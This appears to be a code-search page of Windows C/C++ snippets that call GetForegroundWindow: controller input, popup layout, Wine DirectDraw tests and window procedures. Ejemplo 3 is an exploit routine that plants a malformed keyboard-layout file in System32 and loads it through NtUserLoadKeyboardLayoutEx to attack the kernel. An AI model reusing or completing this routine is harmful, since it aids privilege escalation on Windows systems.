void	WindowsXbox360ControllerDevice::update( const unsigned long id )
			{
				Core::Message	parameters(5,0,0);
				HWND			foreground = GetForegroundWindow();



				if ( this->_window_handle == foreground )
				{
					parameters.add_integral_data(0,id);
					parameters.add_integral_data(2,this->_id);
					memcpy(&this->_previous_state,&this->_current_state,sizeof(XINPUT_STATE));

					if ( XInputGetState(static_cast<DWORD>(this->_id),&this->_current_state)  ==  ERROR_SUCCESS )
					{
						parameters.add_integral_data(3,static_cast<Core::MESSAGE_INTEGRAL_DATA_TYPE>(this->_current_state.Gamepad.sThumbLX));
						parameters.add_integral_data(4,static_cast<Core::MESSAGE_INTEGRAL_DATA_TYPE>(this->_current_state.Gamepad.sThumbLY));
						trigger_event(Core::XBOX360_CONTROLLER_LEFTSTICK_POSITION,parameters);

						parameters.add_integral_data(3,static_cast<Core::MESSAGE_INTEGRAL_DATA_TYPE>(this->_current_state.Gamepad.sThumbRX));
						parameters.add_integral_data(4,static_cast<Core::MESSAGE_INTEGRAL_DATA_TYPE>(this->_current_state.Gamepad.sThumbRY));
						trigger_event(Core::XBOX360_CONTROLLER_RIGHTSTICK_POSITION,parameters);

						if ( this->_previous_state.dwPacketNumber != this->_current_state.dwPacketNumber )
						{
							int	difference_left_x = this->_current_state.Gamepad.sThumbLX - this->_previous_state.Gamepad.sThumbLX;
							int	difference_left_y = this->_current_state.Gamepad.sThumbLY - this->_previous_state.Gamepad.sThumbLY;
							int	difference_right_x = this->_current_state.Gamepad.sThumbRX - this->_previous_state.Gamepad.sThumbRX;
							int	difference_right_y = this->_current_state.Gamepad.sThumbRY - this->_previous_state.Gamepad.sThumbRY;



							if ( abs(difference_left_x) > this->_deadzone  ||  abs(difference_left_y) > this->_deadzone )
							{
								parameters.add_integral_data(3,static_cast<Core::MESSAGE_INTEGRAL_DATA_TYPE>(difference_left_x));
								parameters.add_integral_data(4,static_cast<Core::MESSAGE_INTEGRAL_DATA_TYPE>(difference_left_y));
								trigger_event(Core::XBOX360_CONTROLLER_LEFTSTICK_POSITION_CHANGED,parameters);
							}

							if ( abs(difference_right_x) > this->_deadzone  ||  abs(difference_right_y) > this->_deadzone )
							{
								parameters.add_integral_data(3,static_cast<Core::MESSAGE_INTEGRAL_DATA_TYPE>(difference_right_x));
								parameters.add_integral_data(4,static_cast<Core::MESSAGE_INTEGRAL_DATA_TYPE>(difference_right_y));
								trigger_event(Core::XBOX360_CONTROLLER_RIGHTSTICK_POSITION_CHANGED,parameters);
							}


							int	up = (this->_current_state.Gamepad.wButtons & XINPUT_GAMEPAD_DPAD_UP) - (this->_previous_state.Gamepad.wButtons & XINPUT_GAMEPAD_DPAD_UP);
							int	down = (this->_current_state.Gamepad.wButtons & XINPUT_GAMEPAD_DPAD_DOWN) - (this->_previous_state.Gamepad.wButtons & XINPUT_GAMEPAD_DPAD_DOWN);
							int	left = (this->_current_state.Gamepad.wButtons & XINPUT_GAMEPAD_DPAD_LEFT) - (this->_previous_state.Gamepad.wButtons & XINPUT_GAMEPAD_DPAD_LEFT);
							int	right = (this->_current_state.Gamepad.wButtons & XINPUT_GAMEPAD_DPAD_RIGHT) - (this->_previous_state.Gamepad.wButtons & XINPUT_GAMEPAD_DPAD_RIGHT);
							int	start = (this->_current_state.Gamepad.wButtons & XINPUT_GAMEPAD_START) - (this->_previous_state.Gamepad.wButtons & XINPUT_GAMEPAD_START);
							int	back = (this->_current_state.Gamepad.wButtons & XINPUT_GAMEPAD_BACK) - (this->_previous_state.Gamepad.wButtons & XINPUT_GAMEPAD_BACK);
							int	left_thumb = (this->_current_state.Gamepad.wButtons & XINPUT_GAMEPAD_LEFT_THUMB) - (this->_previous_state.Gamepad.wButtons & XINPUT_GAMEPAD_LEFT_THUMB);
							int	right_thumb = (this->_current_state.Gamepad.wButtons & XINPUT_GAMEPAD_RIGHT_THUMB) - (this->_previous_state.Gamepad.wButtons & XINPUT_GAMEPAD_RIGHT_THUMB);
							int	left_shoulder = (this->_current_state.Gamepad.wButtons & XINPUT_GAMEPAD_LEFT_SHOULDER) - (this->_previous_state.Gamepad.wButtons & XINPUT_GAMEPAD_LEFT_SHOULDER);
							int	right_shoulder = (this->_current_state.Gamepad.wButtons & XINPUT_GAMEPAD_RIGHT_SHOULDER) - (this->_previous_state.Gamepad.wButtons & XINPUT_GAMEPAD_RIGHT_SHOULDER);
							int	a = (this->_current_state.Gamepad.wButtons & XINPUT_GAMEPAD_A) - (this->_previous_state.Gamepad.wButtons & XINPUT_GAMEPAD_A);
							int	b = (this->_current_state.Gamepad.wButtons & XINPUT_GAMEPAD_B) - (this->_previous_state.Gamepad.wButtons & XINPUT_GAMEPAD_B);
							int	x = (this->_current_state.Gamepad.wButtons & XINPUT_GAMEPAD_X) - (this->_previous_state.Gamepad.wButtons & XINPUT_GAMEPAD_X);
							int	y = (this->_current_state.Gamepad.wButtons & XINPUT_GAMEPAD_Y) - (this->_previous_state.Gamepad.wButtons & XINPUT_GAMEPAD_Y);
							int	left_trigger = this->_current_state.Gamepad.bLeftTrigger - this->_previous_state.Gamepad.bLeftTrigger;
							int	right_trigger = this->_current_state.Gamepad.bRightTrigger - this->_previous_state.Gamepad.bRightTrigger;



							parameters.add_integral_data(3,0);
							parameters.add_integral_data(4,0);

							if ( up < 0 )
								trigger_event(Core::XBOX360_CONTROLLER_DPAD_UP_UP,parameters);
							else if ( up > 0 )
								trigger_event(Core::XBOX360_CONTROLLER_DPAD_UP_DOWN,parameters);

							if ( down < 0 )
								trigger_event(Core::XBOX360_CONTROLLER_DPAD_DOWN_UP,parameters);
							else if ( down > 0 )
								trigger_event(Core::XBOX360_CONTROLLER_DPAD_DOWN_DOWN,parameters);

							if ( left < 0 )
								trigger_event(Core::XBOX360_CONTROLLER_DPAD_LEFT_UP,parameters);
							else if ( left > 0 )
								trigger_event(Core::XBOX360_CONTROLLER_DPAD_LEFT_DOWN,parameters);

							if ( right < 0 )
								trigger_event(Core::XBOX360_CONTROLLER_DPAD_RIGHT_UP,parameters);
							else if ( right > 0 )
								trigger_event(Core::XBOX360_CONTROLLER_DPAD_RIGHT_DOWN,parameters);

							if ( start < 0 )
								trigger_event(Core::XBOX360_CONTROLLER_START_UP,parameters);
							else if ( start > 0 )
								trigger_event(Core::XBOX360_CONTROLLER_START_DOWN,parameters);

							if ( back < 0 )
								trigger_event(Core::XBOX360_CONTROLLER_BACK_UP,parameters);
							else if ( back > 0 )
								trigger_event(Core::XBOX360_CONTROLLER_BACK_DOWN,parameters);

							if ( left_thumb < 0 )
								trigger_event(Core::XBOX360_CONTROLLER_LEFTSTICK_UP,parameters);
							else if ( left_thumb > 0 )
								trigger_event(Core::XBOX360_CONTROLLER_LEFTSTICK_DOWN,parameters);

							if ( right_thumb < 0 )
								trigger_event(Core::XBOX360_CONTROLLER_RIGHTSTICK_UP,parameters);
							else if ( right_thumb > 0 )
								trigger_event(Core::XBOX360_CONTROLLER_RIGHTSTICK_DOWN,parameters);

							if ( left_shoulder < 0 )
								trigger_event(Core::XBOX360_CONTROLLER_LEFTSHOULDER_UP,parameters);
							else if ( left_shoulder > 0 )
								trigger_event(Core::XBOX360_CONTROLLER_LEFTSHOULDER_DOWN,parameters);

							if ( right_shoulder < 0 )
								trigger_event(Core::XBOX360_CONTROLLER_RIGHTSHOULDER_UP,parameters);
							else if ( right_shoulder > 0 )
								trigger_event(Core::XBOX360_CONTROLLER_RIGHTSHOULDER_DOWN,parameters);

							if ( a < 0 )
								trigger_event(Core::XBOX360_CONTROLLER_A_UP,parameters);
							else if ( a > 0 )
								trigger_event(Core::XBOX360_CONTROLLER_A_DOWN,parameters);

							if ( b < 0 )
								trigger_event(Core::XBOX360_CONTROLLER_B_UP,parameters);
							else if ( b > 0 )
								trigger_event(Core::XBOX360_CONTROLLER_B_DOWN,parameters);

							if ( x < 0 )
								trigger_event(Core::XBOX360_CONTROLLER_X_UP,parameters);
							else if ( x > 0 )
								trigger_event(Core::XBOX360_CONTROLLER_X_DOWN,parameters);

							if ( y < 0 )
								trigger_event(Core::XBOX360_CONTROLLER_Y_UP,parameters);
							else if ( y > 0 )
								trigger_event(Core::XBOX360_CONTROLLER_Y_DOWN,parameters);


							parameters.add_integral_data(3,static_cast<Core::MESSAGE_INTEGRAL_DATA_TYPE>(left_trigger));
							if ( left_trigger < 0 )
								trigger_event(Core::XBOX360_CONTROLLER_LEFTTRIGGER_UP,parameters);
							else if ( left_trigger > 0 )
								trigger_event(Core::XBOX360_CONTROLLER_LEFTTRIGGER_DOWN,parameters);

							parameters.add_integral_data(3,static_cast<Core::MESSAGE_INTEGRAL_DATA_TYPE>(right_trigger));
							if ( right_trigger < 0 )
								trigger_event(Core::XBOX360_CONTROLLER_RIGHTTRIGGER_UP,parameters);
							else if ( right_trigger > 0 )
								trigger_event(Core::XBOX360_CONTROLLER_RIGHTTRIGGER_DOWN,parameters);
						}
					}
				}
			};
Ejemplo n.º 2
0
bool UpdatePopupPosition(PopupWnd2 *prev, PopupWnd2 *wnd)
{
    if (!wnd) return false;
    if (!PopupOptions.ReorderPopups && wnd->isPositioned()) return false;

    int POPUP_SPACING = PopupOptions.spacing;

    POINT pos = { 0 };
    SIZE prevSize = { 0 };
    if (prev)
        prevSize = prev->getSize();

    // we have only one monitor (cant check it together with 1.if)
    RECT rc;
    if (GetSystemMetrics(SM_CMONITORS) == 1)
        SystemParametersInfo(SPI_GETWORKAREA, 0, &rc, 0);
    else { // Multimonitor stuff (we have more then 1)
        HWND hWnd;
        if (PopupOptions.Monitor == MN_MIRANDA)
            hWnd = pcli->hwndContactList;
        else //  PopupOptions.Monitor == MN_ACTIVE
            hWnd = GetForegroundWindow();

        HMONITOR hMonitor = MonitorFromWindow(hWnd, MONITOR_DEFAULTTOPRIMARY);

        MONITORINFOEX mnti;
        mnti.cbSize = sizeof(MONITORINFOEX);
        if (GetMonitorInfo(hMonitor, &mnti) == TRUE)
            memcpy(&rc, &(mnti.rcWork), sizeof(RECT));
        else
            SystemParametersInfo(SPI_GETWORKAREA, 0, &rc, 0);
    }

    rc.left += PopupOptions.gapLeft - POPUP_SPACING;
    rc.right -= PopupOptions.gapRight - POPUP_SPACING;
    rc.top += PopupOptions.gapTop - POPUP_SPACING;
    rc.bottom -= PopupOptions.gapBottom - POPUP_SPACING;
    if (PopupOptions.Spreading == SPREADING_VERTICAL) {
        switch (PopupOptions.Position) {
        case POS_UPPERLEFT:
            pos.x = rc.left + POPUP_SPACING;
            pos.y = (prev ? (prev->getPosition().y + prev->getSize().cy) : rc.top) + POPUP_SPACING;
            break;
        case POS_LOWERLEFT:
            pos.x = rc.left + POPUP_SPACING;
            pos.y = (prev ? prev->getPosition().y : rc.bottom) - wnd->getSize().cy - POPUP_SPACING;
            break;
        case POS_LOWERRIGHT:
            pos.x = rc.right - wnd->getSize().cx - POPUP_SPACING;
            pos.y = (prev ? prev->getPosition().y : rc.bottom) - wnd->getSize().cy - POPUP_SPACING;
            break;
        case POS_UPPERRIGHT:
            pos.x = rc.right - wnd->getSize().cx - POPUP_SPACING;
            pos.y = (prev ? (prev->getPosition().y + prev->getSize().cy) : rc.top) + POPUP_SPACING;
            break;
        }
    }
    else {
        switch (PopupOptions.Position) {
        case POS_UPPERLEFT:
            pos.x = (prev ? (prev->getPosition().x + prev->getSize().cx) : rc.left) + POPUP_SPACING;
            pos.y = rc.top + POPUP_SPACING;
            break;
        case POS_LOWERLEFT:
            pos.x = (prev ? (prev->getPosition().x + prev->getSize().cx) : rc.left) + POPUP_SPACING;
            pos.y = rc.bottom - wnd->getSize().cy - POPUP_SPACING;
            break;
        case POS_LOWERRIGHT:
            pos.x = (prev ? prev->getPosition().x : rc.right) - wnd->getSize().cx - POPUP_SPACING;
            pos.y = rc.bottom - wnd->getSize().cy - POPUP_SPACING;
            break;
        case POS_UPPERRIGHT:
            pos.x = (prev ? prev->getPosition().x : rc.right) - wnd->getSize().cx - POPUP_SPACING;
            pos.y = rc.top + POPUP_SPACING;
            break;
        }
    }
    wnd->setPosition(pos);
    return true;
}
Ejemplo n.º 3
0
VOID boom_loadlayout()
{
      
  KEYBDINPUT      kb={0};
  INPUT           vInput={0};

  HANDLE          hFile;
  DWORD           dwFuckS0ny;

  HKL             hKbd;

  WCHAR           lpPath[MAX_PATH]={0};
  WCHAR           lpLayoutFile[MAX_PATH]={L"C:\\Windows\\System32\\lSp0wns.boom111"};

  LPVOID          lpShellPtr;


  
  
  //strcpy( lpLayoutFile, L"%lSp0wns.boom111", lpPath);
  
  hFile = CreateFileW(lpLayoutFile,
    GENERIC_READ|GENERIC_WRITE,
    FILE_SHARE_READ|FILE_SHARE_WRITE,
    0,
    CREATE_ALWAYS,
    0,0);

  if( hFile == INVALID_HANDLE_VALUE )
  {
    printf(" \n[!!] Error:errorcode:%x\n",GetLastError());
    exit(0);
  }

  WriteFile(  hFile,
    fakeDll2,
    sizeof(fakeDll2)-1,
    &dwFuckS0ny,
    NULL);
  //printf("\n[+] Writing malformed kbd layout file \n\t\"%S\"\n\t[ %d ] bytes written\n",lpLayoutFile,dwFuckS0ny);
  CloseHandle(hFile);

  hFile = CreateFileW (lpLayoutFile,
    GENERIC_READ,
    FILE_SHARE_READ,
    0,
    OPEN_EXISTING,
    0,0);

  if( hFile == INVALID_HANDLE_VALUE )
  {
    printf(" \n[!!] Error\n");
    exit(0);
  }
  hKbd = GetKeyboardLayout( GetWindowThreadProcessId( GetForegroundWindow(), &dwFuckS0ny ) );
  printf("\n[+] Loading it...[ 0x%x ]\n", NtUserLoadKeyboardLayoutEx( hFile, 0x0160,0x01AE,&uKerbordname, hKbd, &uStr, 0x666, 0x101 ) );// 0x101 
  /*HKL NTAPI NtUserLoadKeyboardLayoutEx  (  IN HANDLE   Handle,
  IN DWORD   offTable,
  IN PUNICODE_STRING   puszKeyboardName,
  IN HKL   hKL,
  IN PUNICODE_STRING   puszKLID,
  IN DWORD   dwKLID,
  IN UINT   Flags   
  )  */
  //win7ÏÂÃæÕâ¸öº¯ÊýÊǸö²ÎÊýÀ´ÆäÖÐoffTable²ð·Ö³É¸ö
  //ÎļþÒ»¶¨Òª·ÅÔÚsystem32Ŀ¼ÏÂÃ治Ȼ´¥·¢²»ÁË


  CloseHandle(hFile);
  //printf("\n[+] Done\n");
}
Ejemplo n.º 4
0
static void testcooperativelevels_normal(void)
{
    BOOL sfw;
    HRESULT rc;
    DDSURFACEDESC surfacedesc;
    IDirectDrawSurface *surface = (IDirectDrawSurface *) 0xdeadbeef;

    memset(&surfacedesc, 0, sizeof(surfacedesc));
    surfacedesc.dwSize = sizeof(surfacedesc);
    surfacedesc.ddpfPixelFormat.dwSize = sizeof(surfacedesc.ddpfPixelFormat);
    surfacedesc.dwFlags = DDSD_CAPS | DDSD_BACKBUFFERCOUNT;
    surfacedesc.dwBackBufferCount = 1;
    surfacedesc.ddsCaps.dwCaps = DDSCAPS_PRIMARYSURFACE | DDSCAPS_COMPLEX | DDSCAPS_FLIP;

    rc = IDirectDraw_SetCooperativeLevel(lpDD, hwnd, DDSCL_SETFOCUSWINDOW | DDSCL_CREATEDEVICEWINDOW);
    ok(rc==DDERR_INVALIDPARAMS,"SetCooperativeLevel(DDSCL_SETFOCUSWINDOW | DDSCL_CREATEDEVICEWINDOW) returned: %x\n",rc);

    /* Do some tests with DDSCL_NORMAL mode */

    /* Fullscreen mode + normal mode + exclusive mode */

    rc = IDirectDraw_SetCooperativeLevel(lpDD, NULL, DDSCL_FULLSCREEN | DDSCL_EXCLUSIVE | DDSCL_NORMAL);
    ok(rc==DDERR_INVALIDPARAMS, "Expected DDERR_INVALIDPARAMS, received: %x\n", rc);

    sfw=FALSE;
    if(hwnd2)
        sfw=SetForegroundWindow(hwnd2);
    else
        skip("Failed to create the second window\n");

    rc = IDirectDraw_SetCooperativeLevel(lpDD, hwnd, DDSCL_FULLSCREEN | DDSCL_EXCLUSIVE | DDSCL_NORMAL);
    todo_wine ok(rc==DD_OK,"SetCooperativeLevel(DDSCL_FULLSCREEN | DDSCL_EXCLUSIVE | DDSCL_NORMAL) returned: %x\n",rc);

    if(sfw)
        todo_wine ok(GetForegroundWindow()==hwnd,"Expected the main windows (%p) for foreground, received the second one (%p)\n",hwnd, hwnd2);

    /* Try creating a double buffered primary in fullscreen + exclusive + normal mode */
    rc = IDirectDraw_CreateSurface(lpDD, &surfacedesc, &surface, NULL);

    if (rc == DDERR_UNSUPPORTEDMODE)
        skip("Unsupported mode\n");
    else
    {
        todo_wine ok(rc == DD_OK, "IDirectDraw_CreateSurface returned %08x\n", rc);
        todo_wine ok(surface!=NULL, "Returned NULL surface pointer\n");
    }
    if(surface && surface != (IDirectDrawSurface *)0xdeadbeef) IDirectDrawSurface_Release(surface);

    /* Exclusive mode + normal mode */
    rc = IDirectDraw_SetCooperativeLevel(lpDD, hwnd, DDSCL_EXCLUSIVE | DDSCL_NORMAL);
    ok(rc==DDERR_INVALIDPARAMS,"SetCooperativeLevel(DDSCL_EXCLUSIVE | DDSCL_NORMAL) returned: %x\n",rc);

    /* Fullscreen mode + normal mode */

    sfw=FALSE;
    if(hwnd2) sfw=SetForegroundWindow(hwnd2);

    rc = IDirectDraw_SetCooperativeLevel(lpDD, hwnd, DDSCL_FULLSCREEN | DDSCL_NORMAL);
    todo_wine ok(rc==DD_OK,"SetCooperativeLevel(DDSCL_FULLSCREEN | DDSCL_NORMAL) returned: %x\n",rc);

    if(sfw)
        ok(GetForegroundWindow()==hwnd2,"Expected the second windows (%p) for foreground, received the main one (%p)\n",hwnd2, hwnd);

    rc = IDirectDraw_SetCooperativeLevel(lpDD, NULL, DDSCL_FULLSCREEN | DDSCL_NORMAL);
    todo_wine ok(rc==DD_OK, "Expected DD_OK, received %x\n", rc);

    /* Try creating a double buffered primary in fullscreen + normal mode */
    rc = IDirectDraw_CreateSurface(lpDD, &surfacedesc, &surface, NULL);
    if (rc == DDERR_UNSUPPORTEDMODE)
        skip("Unsupported mode\n");
    else
    {
        ok(rc == DDERR_NOEXCLUSIVEMODE, "IDirectDraw_CreateSurface returned %08x\n", rc);
        ok(surface == NULL, "Returned surface pointer is %p\n", surface);
    }

    if(surface && surface != (IDirectDrawSurface *)0xdeadbeef) IDirectDrawSurface_Release(surface);

    /* switching from Fullscreen mode to Normal mode */

    sfw=FALSE;
    if(hwnd2) sfw=SetForegroundWindow(hwnd2);

    rc = IDirectDraw_SetCooperativeLevel(lpDD,
        hwnd, DDSCL_NORMAL);
    ok(rc==DD_OK,"SetCooperativeLevel(DDSCL_NORMAL) returned: %x\n",rc);

    if(sfw)
        ok(GetForegroundWindow()==hwnd2,"Expected the second windows (%p) for foreground, received the main one (%p)\n",hwnd2, hwnd);

    rc = IDirectDraw_SetCooperativeLevel(lpDD, NULL, DDSCL_NORMAL);
    ok(rc==DD_OK, "Expected DD_OK, received %x\n", rc);

    /* Try creating a double buffered primary in normal mode */
    rc = IDirectDraw_CreateSurface(lpDD, &surfacedesc, &surface, NULL);
    if (rc == DDERR_UNSUPPORTEDMODE)
        skip("Unsupported mode\n");
    else
    {
        ok(rc == DDERR_NOEXCLUSIVEMODE, "IDirectDraw_CreateSurface returned %08x\n", rc);
        ok(surface == NULL, "Returned surface pointer is %p\n", surface);
    }
    if(surface && surface != (IDirectDrawSurface *)0xdeadbeef) IDirectDrawSurface_Release(surface);

    /* switching from Normal mode to Fullscreen + Normal mode */

    sfw=FALSE;
    if(hwnd2) sfw=SetForegroundWindow(hwnd2);

    rc = IDirectDraw_SetCooperativeLevel(lpDD,
        hwnd, DDSCL_NORMAL | DDSCL_FULLSCREEN);
    todo_wine ok(rc==DD_OK,"SetCooperativeLevel(DDSCL_NORMAL | FULLSCREEN) returned: %x\n",rc);

    if(sfw)
        ok(GetForegroundWindow()==hwnd2,"Expected the second windows (%p) for foreground, received the main one (%p)\n",hwnd2, hwnd);

    rc = IDirectDraw_SetCooperativeLevel(lpDD, NULL, DDSCL_NORMAL | DDSCL_FULLSCREEN);
    todo_wine ok(rc==DD_OK, "Expected DD_OK, received %x\n", rc);

    /* Set the focus window */

    rc = IDirectDraw_SetCooperativeLevel(lpDD, hwnd, DDSCL_SETFOCUSWINDOW | DDSCL_CREATEDEVICEWINDOW);
    ok(rc==DDERR_INVALIDPARAMS,"SetCooperativeLevel(DDSCL_SETFOCUSWINDOW | DDSCL_CREATEDEVICEWINDOW) returned: %x\n",rc);

    rc = IDirectDraw_SetCooperativeLevel(lpDD, NULL, DDSCL_SETFOCUSWINDOW);

    if (rc == DDERR_INVALIDPARAMS)
    {
        win_skip("NT4/Win95 do not support cooperative levels DDSCL_SETDEVICEWINDOW and DDSCL_SETFOCUSWINDOW\n");
        return;
    }

    ok(rc==DD_OK, "Expected DD_OK, received %x\n", rc);

    rc = IDirectDraw_SetCooperativeLevel(lpDD,
        hwnd, DDSCL_SETFOCUSWINDOW);

    if (rc == DDERR_INVALIDPARAMS)
    {
        win_skip("NT4/Win95 do not support cooperative levels DDSCL_SETDEVICEWINDOW and DDSCL_SETFOCUSWINDOW\n");
        return;
    }

    ok(rc==DD_OK,"SetCooperativeLevel(DDSCL_SETFOCUSWINDOW) returned: %x\n",rc);

    /* Set the focus window a second time*/
    rc = IDirectDraw_SetCooperativeLevel(lpDD,
        hwnd, DDSCL_SETFOCUSWINDOW);
    ok(rc==DD_OK,"SetCooperativeLevel(DDSCL_SETFOCUSWINDOW) the second time returned: %x\n",rc);

    /* Test DDSCL_SETFOCUSWINDOW with the other flags. They should all fail, except of DDSCL_NOWINDOWCHANGES */
    rc = IDirectDraw_SetCooperativeLevel(lpDD,
        hwnd, DDSCL_NORMAL | DDSCL_SETFOCUSWINDOW);
    ok(rc==DDERR_INVALIDPARAMS,"SetCooperativeLevel(DDSCL_NORMAL | DDSCL_SETFOCUSWINDOW) returned: %x\n",rc);

    rc = IDirectDraw_SetCooperativeLevel(lpDD,
        hwnd, DDSCL_EXCLUSIVE | DDSCL_FULLSCREEN | DDSCL_SETFOCUSWINDOW);
    ok(rc==DDERR_INVALIDPARAMS,"SetCooperativeLevel(DDSCL_EXCLUSIVE | DDSCL_FULLSCREEN | DDSCL_SETFOCUSWINDOW) returned: %x\n",rc);

    /* This one succeeds */
    rc = IDirectDraw_SetCooperativeLevel(lpDD,
        hwnd, DDSCL_NOWINDOWCHANGES | DDSCL_SETFOCUSWINDOW);
    ok(rc==DD_OK,"SetCooperativeLevel(DDSCL_NOWINDOWCHANGES | DDSCL_SETFOCUSWINDOW) returned: %x\n",rc);

    rc = IDirectDraw_SetCooperativeLevel(lpDD,
        hwnd, DDSCL_MULTITHREADED | DDSCL_SETFOCUSWINDOW);
    ok(rc==DDERR_INVALIDPARAMS,"SetCooperativeLevel(DDSCL_MULTITHREADED | DDSCL_SETFOCUSWINDOW) returned: %x\n",rc);

    rc = IDirectDraw_SetCooperativeLevel(lpDD,
        hwnd, DDSCL_FPUSETUP | DDSCL_SETFOCUSWINDOW);
    ok(rc==DDERR_INVALIDPARAMS,"SetCooperativeLevel(DDSCL_FPUSETUP | DDSCL_SETFOCUSWINDOW) returned: %x\n",rc);

    rc = IDirectDraw_SetCooperativeLevel(lpDD,
        hwnd, DDSCL_FPUPRESERVE | DDSCL_SETFOCUSWINDOW);
    ok(rc==DDERR_INVALIDPARAMS,"SetCooperativeLevel(DDSCL_FPUPRESERVE | DDSCL_SETFOCUSWINDOW) returned: %x\n",rc);

    rc = IDirectDraw_SetCooperativeLevel(lpDD,
        hwnd, DDSCL_ALLOWREBOOT | DDSCL_SETFOCUSWINDOW);
    ok(rc==DDERR_INVALIDPARAMS,"SetCooperativeLevel(DDSCL_ALLOWREBOOT | DDSCL_SETFOCUSWINDOW) returned: %x\n",rc);

    rc = IDirectDraw_SetCooperativeLevel(lpDD,
        hwnd, DDSCL_ALLOWMODEX | DDSCL_SETFOCUSWINDOW);
    ok(rc==DDERR_INVALIDPARAMS,"SetCooperativeLevel(DDSCL_ALLOWMODEX | DDSCL_SETFOCUSWINDOW) returned: %x\n",rc);

    /* Set the device window without any other flags. Should give an error */
    rc = IDirectDraw_SetCooperativeLevel(lpDD,
        hwnd, DDSCL_SETDEVICEWINDOW);
    ok(rc==DDERR_INVALIDPARAMS,"SetCooperativeLevel(DDSCL_SETDEVICEWINDOW) returned: %x\n",rc);

    /* Set device window with DDSCL_NORMAL */
    rc = IDirectDraw_SetCooperativeLevel(lpDD,
        hwnd, DDSCL_NORMAL | DDSCL_SETDEVICEWINDOW);
    ok(rc==DD_OK,"SetCooperativeLevel(DDSCL_NORMAL | DDSCL_SETDEVICEWINDOW) returned: %x\n",rc);

    /* Also set the focus window. Should give an error */
    rc = IDirectDraw_SetCooperativeLevel(lpDD,
        hwnd, DDSCL_ALLOWMODEX | DDSCL_EXCLUSIVE | DDSCL_FULLSCREEN | DDSCL_SETDEVICEWINDOW | DDSCL_SETFOCUSWINDOW);
    ok(rc==DDERR_INVALIDPARAMS,"SetCooperativeLevel(DDSCL_NORMAL | DDSCL_SETDEVICEWINDOW | DDSCL_SETFOCUSWINDOW) returned: %x\n",rc);

    /* All done */
}
Ejemplo n.º 5
0
	Vec2ITuple GetForgroundWindowClientSize(){
		auto wnd = GetForegroundWindow();
		return GetWindowClientSize((HWindow)wnd);
	}
Ejemplo n.º 6
0
//----  --------------------------------------------------------------------------------------------------------
// Function:	CommandProc
// Required:	HWND hwnd - window handle that message was sent to
// 		UINT message - action to handle
// 		WPARAM wParam - dependant on message
// 		LPARAM lParam - dependant on message
// Returns:	LRESULT
// Purpose:	Handles messages sent from DispatchMessage
//----  --------------------------------------------------------------------------------------------------------
LRESULT CALLBACK Command::CommandProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
{
    CREATESTRUCT* cs;
    static Command* pCommand = NULL;

    if (message == WM_CREATE)
    {
        cs = (CREATESTRUCT*)lParam;
        pCommand = reinterpret_cast<Command*>(cs->lpCreateParams);
        return DefWindowProc(hwnd, message, wParam, lParam);
    }

    if (pCommand == NULL)
    {
        return DefWindowProc(hwnd, message, wParam, lParam);
    }

    switch (message)
    {
    // Needed to handle changing the system colors.  It forces
    // a repaint of the window as well as the frame.
    case WM_SYSCOLORCHANGE:
        RedrawWindow(hwnd, NULL, NULL, RDW_ERASE | RDW_FRAME | RDW_INVALIDATE);
        break;

    // Repaint the icons as the window size is changing
    case WM_WINDOWPOSCHANGING:
    {
        if (ELToLower(pCommand->GetZPosition()) == TEXT("bottom"))
        {
            ((WINDOWPOS*)lParam)->flags |= SWP_NOZORDER;
        }
    }
    break;

    // Don't close on alt-F4
    case WM_SYSCOMMAND:
        return pCommand->DoSysCommand(hwnd, message, wParam, lParam);

    // Send a quit message when the window is destroyed
    case WM_DESTROY:
    case WM_NCDESTROY:
        PostQuitMessage (0);
        break;

    case WM_SHOWWINDOW:
    {
        if (wParam)
        {
            pCommand->ShowTextWindow();
            SetTimer(hwnd, FOCUS_TIMER, 250, NULL);
        }
    }
    return 0;

    case WM_TIMER:
        if (GetForegroundWindow() != hwnd)
        {
            pCommand->ShowAppletWindow();
        }
        return 0;

    // If not handled just forward the message on
    default:
        return DefWindowProc (hwnd, message, wParam, lParam);
    }
    return 0;
}
Ejemplo n.º 7
0
void FileEncrypter::InfoMsgBox(TCHAR* szTip){
	MessageBox(GetForegroundWindow(),szTip,_T("亿榕公文交换平台提示"),MB_OK|MB_ICONINFORMATION);
}
Ejemplo n.º 8
0
BOOL CALLBACK DlgProcParentWindow(HWND hwndDlg, UINT msg, WPARAM wParam, LPARAM lParam) 
{
	DWORD ws;
	struct ParentWindowData *dat;
	dat = (struct ParentWindowData *) GetWindowLong(hwndDlg, GWL_USERDATA);
	if (!dat && msg!=WM_INITDIALOG) return FALSE;
	switch (msg) {
	case WM_INITDIALOG:
		{
			struct NewMessageWindowLParam *newData = (struct NewMessageWindowLParam *) lParam;
			dat = (struct ParentWindowData *) malloc(sizeof(struct ParentWindowData));
			dat->hContact = newData->hContact;
			dat->nFlash = 0;
			dat->nFlashMax = DBGetContactSettingByte(NULL, SRMMMOD, SRMSGSET_FLASHCOUNT, SRMSGDEFSET_FLASHCOUNT);
			dat->childrenCount = 0;
			dat->children = NULL;
			dat->hwnd = hwndDlg;
			dat->flags = g_dat->flags;// | SMF_SHOWTITLEBAR;
			dat->mouseLBDown = 0;
			dat->windowWasCascaded = 0;
			dat->hwndStatus = CreateWindowEx(0, STATUSCLASSNAME, NULL, WS_CHILD | WS_VISIBLE | SBARS_SIZEGRIP, 0, 0, 0, 0, hwndDlg, NULL, g_hInst, NULL);
			{
				int statwidths[4];
				RECT rc;
				SendMessage(dat->hwndStatus, SB_SETMINHEIGHT, GetSystemMetrics(SM_CYSMICON), 0);
				GetWindowRect(dat->hwndStatus, &rc);
				/*
				statwidths[0] = rc.right - rc.left - SB_CHAR_WIDTH - SB_TYPING_WIDTH - SB_SENDING_WIDTH;
				statwidths[1] = rc.right - rc.left - SB_TYPING_WIDTH - SB_SENDING_WIDTH; //rc.right - rc.left - SB_CHAR_WIDTH;
				statwidths[2] = rc.right - rc.left - SB_TYPING_WIDTH; //rc.right - rc.left - SB_CHAR_WIDTH;
				statwidths[3] = -1;
				SendMessage(dat->hwndStatus, SB_SETPARTS, 4, (LPARAM) statwidths);
				*/
				statwidths[0] = rc.right - rc.left - SB_CHAR_WIDTH - SB_TYPING_WIDTH;
				statwidths[1] = rc.right - rc.left - SB_TYPING_WIDTH;
				statwidths[2] = -1;
				SendMessage(dat->hwndStatus, SB_SETPARTS, 3, (LPARAM) statwidths);
			}
			dat->hwndTabs = GetDlgItem(hwndDlg, IDC_TABS);
			dat->hwndActive = NULL;
			SetWindowLong(hwndDlg, GWL_USERDATA, (LONG) dat);
			if (g_dat->hIconList != NULL) {
